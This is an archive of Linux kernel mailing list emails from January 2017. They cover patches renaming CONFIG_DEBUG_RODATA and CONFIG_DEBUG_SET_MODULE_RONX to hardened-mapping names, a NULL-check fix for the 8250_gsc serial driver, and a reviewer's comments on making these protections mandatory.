> @@ -545,7 +545,7 @@ void free_initmem(void)
>  }
> =20
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  void mark_rodata_ro(void)
>  {
>  	/* rodata memory was already mapped with KERNEL_RO access rights by
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index c6722112..8e70ae5 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -62,15 +62,13 @@ config PCI_QUIRKS
>  config ARCH_SUPPORTS_UPROBES
>  	def_bool y
> =20
> -config DEBUG_RODATA
> -	def_bool y
> -
>  config S390
>  	def_bool y
>  	select ARCH_HAS_DEVMEM_IS_ALLOWED
>  	select ARCH_HAS_ELF_RANDOMIZE
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_GIGANTIC_PAGE
> +	select ARCH_HAS_HARDENED_MAPPINGS
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
>  	select ARCH_HAS_UBSAN_SANITIZE_ALL
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index e487493..9d80cd8 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -50,6 +50,7 @@ config X86
>  	select ARCH_HAS_ELF_RANDOMIZE
>  	select ARCH_HAS_FAST_MULTIPLIER
>  	select ARCH_HAS_GCOV_PROFILE_ALL
> +	select ARCH_HAS_HARDENED_MAPPINGS
>  	select ARCH_HAS_KCOV			if X86_64
>  	select ARCH_HAS_MMIO_FLUSH
>  	select ARCH_HAS_PMEM_API		if X86_64
> @@ -309,9 +310,6 @@ config ARCH_SUPPORTS_UPROBES
>  config FIX_EARLYCON_MEM
>  	def_bool y
> =20
> -config DEBUG_RODATA
> -	def_bool y
> -
>  config PGTABLE_LEVELS
>  	int
>  	default 4 if X86_64
> diff --git a/include/linux/init.h b/include/linux/init.h
> index 885c3e6..9967bc9 100644
> --- a/include/linux/init.h
> +++ b/include/linux/init.h
> @@ -126,10 +126,10 @@ void prepare_namespace(void);
>  void __init load_default_modules(void);
>  int __init init_rootfs(void);
> =20
> -#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
> +#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_DEBUG_SET_M=
ODULE_RONX)
>  extern bool rodata_enabled;
>  #endif
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  void mark_rodata_ro(void);
>  #endif
> =20
> diff --git a/init/main.c b/init/main.c
> index b0c9d6f..4b3bcc4 100644
> --- a/init/main.c
> +++ b/init/main.c
> @@ -925,7 +925,7 @@ static int try_to_run_init_process(const char *init_f=
ilename)
> =20
>  static noinline void __init kernel_init_freeable(void);
> =20
> -#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
> +#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_DEBUG_SET_M=
ODULE_RONX)
>  bool rodata_enabled __ro_after_init =3D true;
>  static int __init set_debug_rodata(char *str)
>  {
> @@ -934,7 +934,7 @@ static int __init set_debug_rodata(char *str)
>  __setup("rodata=3D", set_debug_rodata);
>  #endif
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  static void mark_readonly(void)
>  {
>  	if (rodata_enabled)
> diff --git a/kernel/configs/android-recommended.config b/kernel/configs/a=
ndroid-recommended.config
> index 297756b..b796bc8 100644
> --- a/kernel/configs/android-recommended.config
> +++ b/kernel/configs/android-recommended.config
> @@ -11,7 +11,7 @@ CONFIG_BLK_DEV_LOOP=3Dy
>  CONFIG_BLK_DEV_RAM=3Dy
>  CONFIG_BLK_DEV_RAM_SIZE=3D8192
>  CONFIG_COMPACTION=3Dy
> -CONFIG_DEBUG_RODATA=3Dy
> +CONFIG_HARDENED_PAGE_MAPPINGS=3Dy
>  CONFIG_DM_CRYPT=3Dy
>  CONFIG_DM_UEVENT=3Dy
>  CONFIG_DM_VERITY=3Dy
> diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
> index b26dbc4..f7a3ea3 100644
> --- a/kernel/power/hibernate.c
> +++ b/kernel/power/hibernate.c
> @@ -1156,7 +1156,7 @@ static int __init hibernate_setup(char *str)
>  	} else if (!strncmp(str, "no", 2)) {
>  		noresume =3D 1;
>  		nohibernate =3D 1;
> -	} else if (IS_ENABLED(CONFIG_DEBUG_RODATA)
> +	} else if (IS_ENABLED(CONFIG_HARDENED_PAGE_MAPPINGS)
>  		   && !strncmp(str, "protect_image", 13)) {
>  		enable_restore_image_protection();
>  	}
> diff --git a/kernel/power/power.h b/kernel/power/power.h
> index 1dfa0da..dc2c7b8 100644
> --- a/kernel/power/power.h
> +++ b/kernel/power/power.h
> @@ -61,12 +61,12 @@ extern int hibernation_snapshot(int platform_mode);
>  extern int hibernation_restore(int platform_mode);
>  extern int hibernation_platform_enter(void);
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  /* kernel/power/snapshot.c */
>  extern void enable_restore_image_protection(void);
>  #else
>  static inline void enable_restore_image_protection(void) {}
> -#endif /* CONFIG_DEBUG_RODATA */
> +#endif /* CONFIG_HARDENED_PAGE_MAPPINGS */
> =20
>  #else /* !CONFIG_HIBERNATION */
> =20
> diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c
> index 2d8e2b2..a7c793e 100644
> --- a/kernel/power/snapshot.c
> +++ b/kernel/power/snapshot.c
> @@ -38,7 +38,7 @@
> =20
>  #include "power.h"
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  static bool hibernate_restore_protection;
>  static bool hibernate_restore_protection_active;
> =20
> @@ -73,7 +73,7 @@ static inline void hibernate_restore_protection_begin(v=
oid) {}
>  static inline void hibernate_restore_protection_end(void) {}
>  static inline void hibernate_restore_protect_page(void *page_address) {}
>  static inline void hibernate_restore_unprotect_page(void *page_address) =
{}
> -#endif /* CONFIG_DEBUG_RODATA */
> +#endif /* CONFIG_HARDENED_PAGE_MAPPINGS */
> =20
>  static int swsusp_page_is_free(struct page *);
>  static void swsusp_set_page_forbidden(struct page *);
> diff --git a/security/Kconfig b/security/Kconfig
> index 118f454..ad6ce82 100644
> --- a/security/Kconfig
> +++ b/security/Kconfig
> @@ -158,6 +158,22 @@ config HARDENED_USERCOPY_PAGESPAN
>  	  been removed. This config is intended to be used only while
>  	  trying to find such users.
> =20
> +config ARCH_HAS_HARDENED_MAPPINGS
> +	def_bool n
> +
> +config HARDENED_PAGE_MAPPINGS
> +	bool "Mark kernel mappings with stricter permissions (RO/W^X)"
> +	default y
> +	depends on ARCH_HAS_HARDENED_MAPPINGS
> +	help
> +          If this is set, kernel text and rodata memory will be made rea=
d-only,
> +	  and non-text memory will be made non-executable. This provides
> +	  protection against certain security attacks (e.g. executing the heap
> +	  or modifying text).
> +
> +	  Unless your system has known restrictions or performance issues, it
> +	  is recommended to say Y here.
> +
>  source security/selinux/Kconfig
>  source security/smack/Kconfig
>  source security/tomoyo/Kconfig

--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--EeQfGwPcQSOJBaQU
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAliAcIUACgkQMOfwapXb+vILYgCfTXvp5ULnrylJz2wZbZ1JsImf
j04An1FN+Y0eV8+7uQQhz42jgY5AvThx
=AFWa
-----END PGP SIGNATURE-----

--EeQfGwPcQSOJBaQU--


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.serial
Subject: [PATCH v1] tty: serial: 8250: 8250_gsc:- Handle return NULL error from ioremap_nocache
Date: Thu, 19 Jan 2017 13:30:44 +0530
Lines: 28
Approved: news@gmane.org
Message-ID: <1484812844-10598-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484813090 1802 195.159.176.226 (19 Jan 2017 08:04:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 08:04:50 +0000 (UTC)
Cc: jslaby@suse.com, linux-parisc@vger.kernel.org,
        linux-serial@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de, gregkh@linuxfoundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 19 09:04:45 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cU7hx-0007ar-Lo
	for glk-linux-kernel-3@m.gmane.org; Thu, 19 Jan 2017 09:04:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751076AbdASIE2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 19 Jan 2017 03:04:28 -0500
Original-Received: from mail-it0-f68.google.com ([209.85.214.68]:35452 "EHLO
        mail-it0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750870AbdASIEY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 19 Jan 2017 03:04:24 -0500
Original-Received: by mail-it0-f68.google.com with SMTP id 203so4224258ith.2;
        Thu, 19 Jan 2017 00:01:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=mEgBSQmVkPTre2PcVZAs657LUMD35PEd+B4gi+ReYlA=;
        b=fKrhPn10bHvOCcTt6QUPURRa3dga/MAnsGBBkRG/GTLBT8F5AUz6bJaEOCPKUEu+4w
         NZCW20J0mf5H29dDqO8Us/lOpUQutwYF2OFTdf2utd71ZBuIuoBVqC3m/9nyr3CxZiXP
         PwNLITrQ+MUA/6RI20SjPEZ1QVu0IxU0sVFJfNZTrXXJUUA56ny6I4r/UG8iK29gUIa/
         czNQREM2q1Hj4IvbHmBrGDAHHeudNJqe48BJ8eNEiCjdHbGJoxaEykOSg1B/j/h0eCTV
         3wFT8VcYsEAa7OldI/8R20nCcYtEjaYaE0TliPqjoeeoQlcbRhrXOzq4GtKXFpR7/SRq
         7+xQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=mEgBSQmVkPTre2PcVZAs657LUMD35PEd+B4gi+ReYlA=;
        b=bkllwmJw4Sbh+qc4yo5556/bpq1pW7EPqFT2u4pFXW8BsSWdcdh26kSwohOPWRusRu
         EhmRPKosxpbLQ5Y/b5maF3/crQjzGC+vBuj/vCubfLhOOPJ7MWn1Eq8S5BfWnWqR6EB3
         kSFNpKWVtNdJwysarYEipiv0APwtZkMcds90t0CQ3f2zVR56pf+9lpNOe3JLskYjuNOd
         VnzC+MDO/uuKaJMkHO4qiRzTLGP0/I9RWC1mfR4P5mmt5Mu033tsgZnoTITK6gc7RLqk
         Ls773QSNNtMPpC3ZRFeijs3MVPDgY2AL+cITUvr2tJSBiteK2MQylGrvKrtzEr8DSujh
         o+Jg==
X-Gm-Message-State: AIkVDXIM5KfWMCggJuz4uvDFL9iao+RGpucKi1JngekDsLY/LkPDF5/ptdFuhPIyHs1WAw==
X-Received: by 10.36.58.198 with SMTP id m189mr6914881itm.105.1484812882680;
        Thu, 19 Jan 2017 00:01:22 -0800 (PST)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id p81sm2460385ioi.9.2017.01.19.00.01.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 19 Jan 2017 00:01:22 -0800 (PST)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2391721 gmane.linux.ports.parisc:27211 gmane.linux.serial:24913
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2391721>

Here, If ioremap_nocache will fail. It will return NULL.
Kernel can run into a NULL-pointer dereference.
This error check will avoid NULL pointer dereference.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/tty/serial/8250/8250_gsc.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/8250/8250_gsc.c
index b1e6ae9..63306de 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -60,6 +60,10 @@ static int __init serial_init_chip(struct parisc_device *dev)
 					7272727 : 1843200;
 	uart.port.mapbase	= address;
 	uart.port.membase	= ioremap_nocache(address, 16);
+	if (!uart.port.membase) {
+		dev_warn(&dev->dev, "Failed to map memory\n");
+		return -ENOMEM;
+	}
 	uart.port.irq	= dev->irq;
 	uart.port.flags	= UPF_BOOT_AUTOCONF;
 	uart.port.dev	= &dev->dev;
-- 
1.9.1



From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Thu, 19 Jan 2017 10:56:46 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <20170119105646.GA11176@leverpostej>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1484823506 23036 195.159.176.226 (19 Jan 2017 10:58:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 10:58:26 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.i
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 19 11:58:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cUAPr-0004KH-Q0
	for glpp-linux-parisc@m.gmane.org; Thu, 19 Jan 2017 11:58:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751964AbdASK5z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 19 Jan 2017 05:57:55 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:46500 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751729AbdASK5x (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 19 Jan 2017 05:57:53 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 9BE0AF;
        Thu, 19 Jan 2017 02:57:52 -0800 (PST)
Original-Received: from leverpostej (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id B02EC3F220;
        Thu, 19 Jan 2017 02:57:48 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1484789346-21012-2-git-send-email-labbott@redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27212 gmane.linux.documentation:44405 gmane.linux.kernel:2391880 gmane.linux.ports.arm.kernel:552108 gmane.linux.power-management.general:85542 gmane.linux.kernel.hardened.devel:5234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27212>

Hi Laura,

On Wed, Jan 18, 2017 at 05:29:05PM -0800, Laura Abbott wrote:
> 
> Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
> provides key security features that are to be expected on a modern
> system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
> accurately describes what this option is intended to do.

This generally sounds good. Thanks for attacking this!

On the bikeshedding front, *maybe* it would be nice to mention
permissions in the name, something like STRICT_KERNEL_RWX. That might
also prevent the reading of 'hardened' as 'optional overhead'.

That said, the proposed name is fine by me -- I'm happy so long as
'DEBUG' goes.

> diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> index 1117421..06fed56 100644
> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -11,6 +11,7 @@ config ARM64
>  	select ARCH_HAS_ELF_RANDOMIZE
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_GIGANTIC_PAGE
> +	select ARCH_HAS_HARDENED_MAPPINGS
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> @@ -123,9 +124,6 @@ config ARCH_PHYS_ADDR_T_64BIT
>  config MMU
>  	def_bool y
>  
> -config DEBUG_RODATA
> -	def_bool y
> -

> diff --git a/security/Kconfig b/security/Kconfig
> index 118f454..ad6ce82 100644
> --- a/security/Kconfig
> +++ b/security/Kconfig
> @@ -158,6 +158,22 @@ config HARDENED_USERCOPY_PAGESPAN
>  	  been removed. This config is intended to be used only while
>  	  trying to find such users.
>  
> +config ARCH_HAS_HARDENED_MAPPINGS
> +	def_bool n
> +
> +config HARDENED_PAGE_MAPPINGS
> +	bool "Mark kernel mappings with stricter permissions (RO/W^X)"
> +	default y
> +	depends on ARCH_HAS_HARDENED_MAPPINGS
> +	help
> +          If this is set, kernel text and rodata memory will be made read-only,
> +	  and non-text memory will be made non-executable. This provides
> +	  protection against certain security attacks (e.g. executing the heap
> +	  or modifying text).
> +
> +	  Unless your system has known restrictions or performance issues, it
> +	  is recommended to say Y here.

It's somewhat unfortunate that this means the feature is no longer
mandatory on arm64 (and s390+x86). We have a boot-time switch to turn
the protections off, so I was hoping we could make this mandatory on all
architectures with support.

It would be good to see if we could make this mandatory for arm and
parisc, or if it really needs to be optional for either of those.

Thanks,
Mark.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 2/2] security: Change name of CONFIG_DEBUG_SET_MODULE_RONX
Date: Thu, 19 Jan 2017 11:11:18 +0000
Lines: 75
Approved: news@gmane.org
Message-ID: <20170119111117.GB11176@leverpostej>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1484824378 32193 195.159.176.226 (19 Jan 2017 11:12:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 11:12:58 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.i
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 19 12:12:51 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cUAdh-0005ri-6h
	for glk-linux-kernel-3@m.gmane.org; Thu, 19 Jan 2017 12:12:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752219AbdASLMY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 19 Jan 2017 06:12:24 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:46844 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752119AbdASLMW (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 19 Jan 2017 06:12:22 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 554671517;
        Thu, 19 Jan 2017 03:12:21 -0800 (PST)
Original-Received: from leverpostej (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 4E87C3F220;
        Thu, 19 Jan 2017 03:12:17 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1484789346-21012-3-git-send-email-labbott@redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2391891 gmane.linux.documentation:44406 gmane.linux.ports.arm.kernel:552120 gmane.linux.ports.parisc:27213 gmane.linux.power-management.general:85543 gmane.linux.kernel.hardened.devel:5235
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2391891>

Hi,

On Wed, Jan 18, 2017 at 05:29:06PM -0800, Laura Abbott wrote:
> 
> Despite the word 'debug' in CONFIG_DEBUG_SET_MODULE_RONX, this kernel
> option provides key security features that are to be expected on a
> modern system. Change the name to CONFIG_HARDENED_MODULE_MAPPINGS which
> more accurately describes what this option is intended to do.

This looks good; my naming comments from the DEBUG_RODATA also apply
here -- the proposed name is fine.

> diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> index 06fed56..2fe0e98 100644
> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -12,6 +12,7 @@ config ARM64
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_GIGANTIC_PAGE
>  	select ARCH_HAS_HARDENED_MAPPINGS
> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
> index a26d27f..1eebe1f 100644
> --- a/arch/arm64/Kconfig.debug
> +++ b/arch/arm64/Kconfig.debug
> @@ -71,17 +71,6 @@ config DEBUG_WX
>  
>  	  If in doubt, say "Y".
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES
> -	default y
> -	help
> -	  Is this is set, kernel module text and rodata will be made read-only.
> -	  This is to help catch accidental or malicious attempts to change the
> -	  kernel's executable code.
> -
> -	  If in doubt, say Y.
> -

> +config ARCH_HAS_HARDENED_MODULE_MAPPINGS
> +	def_bool n
> +
> +config HARDENED_MODULE_MAPPINGS
> +	bool "Mark module mappings with stricter permissions (RO/W^X)"
> +	default y
> +	depends on ARCH_HAS_HARDENED_MODULE_MAPPINGS
> +	help
> +	  If this is set, module text and rodata memory will be made read-only,
> +	  and non-text memory will be made non-executable. This provides
> +	  protection against certain security vulnerabilities (e.g. modifying
> +	  code)
> +
> +	  Unless your system has known restrictions or performance issues, it
> +	  is recommended to say Y here.
> +

I was hoping that we'd make this mandatory, as we'd already done for
DEBUG_RODATA.

Takahiro-san did a bit of work towards that in commit 39290b389ea2654f
("module: extend 'rodata=off' boot cmdline parameter to module
mappings").

It would be good to know if there's any reason we can't do that.

Otherwise, this looks fine.

Thanks,
Mark.


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.documentation,gmane.linux.kernel.hardened.devel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel
Subject: Re: [PATCH 2/2] security: Change name of CONFIG_DEBUG_SET_MODULE_RONX
Date: Thu, 19 Jan 2017 12:34:06 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20170119113406.GC5110@osiris>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-3-git-send-email-labbott@redhat.com>
 <20170119111117.GB11176@leverpostej>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484825722 22815 195.159.176.226 (19 Jan 2017 11:35:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 11:35:22 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: linux-doc@vger.kernel.org, Catalin Marinas <catalin.marinas@arm.com>,
 Will Deacon <will.deacon@arm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Pavel Machek <pavel@ucw.cz>,
 "H. Peter Anvin" <hpa@zytor.com>, kernel-hardening@lists.openwall.com,
 Rob Herring <robh@kernel.org>, Jessica Yu <jeyu@redhat.com>,
 Jonathan Corbet <corbet@lwn.net>, Helge Deller <deller@gmx.de>, x86@kernel.org,
 Russell King <linux@armlinux.org.uk>, "AKASHI,
 Takahiro" <takahiro.akashi@linaro.org>, Ingo Molnar <mingo@redhat.com>,
 Laura Abbott <labbott@redhat.com>, Len Brown <len.brown@intel.com>,
 Kees Cook <keescook@chromium.org>, linux-s390@vger.kernel.org,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
 "Rafael J. Wysocki" <rjw@rjwysocki.net>, linux-kernel@vger.kernel.org,
 Jason Wessel <jason.wessel@windriver
To: Mark Rutland <mark.rutland@arm.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jan 19 12:35:14 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
